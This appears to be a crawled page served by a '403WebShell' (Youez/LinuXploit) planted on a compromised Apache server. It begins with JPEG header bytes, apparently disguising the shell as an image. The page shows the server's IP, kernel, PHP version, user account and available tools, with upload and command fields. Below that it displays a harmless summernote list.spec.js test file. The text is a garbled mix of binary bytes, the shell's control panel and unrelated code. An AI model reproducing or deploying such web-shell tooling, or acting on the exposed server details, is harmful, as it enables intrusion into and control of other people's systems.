����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.135.194.164
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/assets/plugins/summernote/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/admin/assets/plugins/summernote/test/list.spec.js
/**
 * list.spec.js
 * (c) 2013~ Alan Hong
 * summernote may be freely distributed under the MIT license./
 */
var list = $.fn.summernoteInner().list;

test('list.head', function() {
  deepEqual(list.head([1, 2, 3]), 1, 'should return the first element');
});

test('list.last', function() {
  deepEqual(list.last([1, 2, 3]), 3, 'should return the last element');
});

test('list.initial', function() {
  deepEqual(list.initial([1, 2, 3]), [1, 2], 'should exclude last element');
});

test('list.tail', function() {
  deepEqual(list.tail([1, 2, 3]), [2, 3], 'should exclude first element');
});

test('list.sum', function() {
  deepEqual(list.sum([1, 2, 3]), 6, 'should return 6');
  deepEqual(list.sum([1, 2, 3], function(v) { return v * 2; }), 12, 'should return 12');
});

test('list.from', function() {
  var $cont, $b, $u, $s, $i;
  $cont = $('<div><b>b</b><u>u</u><s>s</s><i>i</i></div>'); //busi
  $b = $cont.find('b'), $u = $cont.find('u'),
  $s = $cont.find('s'), $i = $cont.find('i');

  deepEqual(list.from($cont[0].childNodes), 
            [$b[0], $u[0], $s[0], $i[0]], 'should return array of childNodes');
});

test('list.clusterBy', function() {
  var aaClustered = list.clusterBy([1, 1, 2, 2, 3], function(itemA, itemB) {
    return itemA === itemB;
  });
  deepEqual([[1, 1], [2, 2], [3]], aaClustered, 'should cluster by equality 1');
  
  var aaClustered = list.clusterBy([1, 2, 2, 1, 3], function(itemA, itemB) {
    return itemA === itemB;
  });
  deepEqual([[1], [2, 2], [1], [3]], aaClustered, 'should cluster by equality 2');
});

test('list.compact', function() {
  deepEqual(list.compact([0, 1, false, 2, '', 3]), [1,2,3], 'falsey values of `array` removed');
});

Youez - 2016 - github.com/yon3zu
LinuXploit